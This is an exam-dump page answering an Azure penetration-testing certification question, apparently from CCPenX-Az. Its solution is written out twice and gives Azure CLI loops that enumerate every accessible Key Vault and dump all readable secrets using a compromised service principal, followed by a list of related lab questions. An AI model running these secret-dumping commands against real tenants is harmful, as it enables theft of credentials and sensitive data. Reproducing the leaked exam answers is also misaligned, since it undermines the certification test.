Join the discussion
Question 8/12
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Correct Answer:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
Add Comments
- Other Question (12q)
- Q1. Using the managed identity principal ID discovered in the previous task, identify which Az...
- Q2. During App Service enumeration, you discover that the compromised user can read App Servic...
- Q3. Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensit...
- Q4. Inside the public blob container, a file named backup-config.json contains service princip...
- Q5. You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates th...
- Q6. With access to the Web App's Managed Identity, you can now query certain Azure Resources. ...
- Q7. The App Service has a system-assigned managed identity enabled. Identify the managed ident...
- Q8. Using the privileges of the previously compromised App Registration, explore the Azure env...
- Q9. ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly...
- Q10. You've uncovered valid credentials for another user in the previous step. Authenticate as ...
- Q11. Using the previously retrieved credentials, authenticate as the App Registration within th...
- Q12. During network reconnaissance of an Azure VM, you inspect its Network Security Group. Whic...
[×]
Download PDF File
Enter your email address to download TheSecOpsGroup.CCPenX-Az.v2026-09-13.q12.pdf
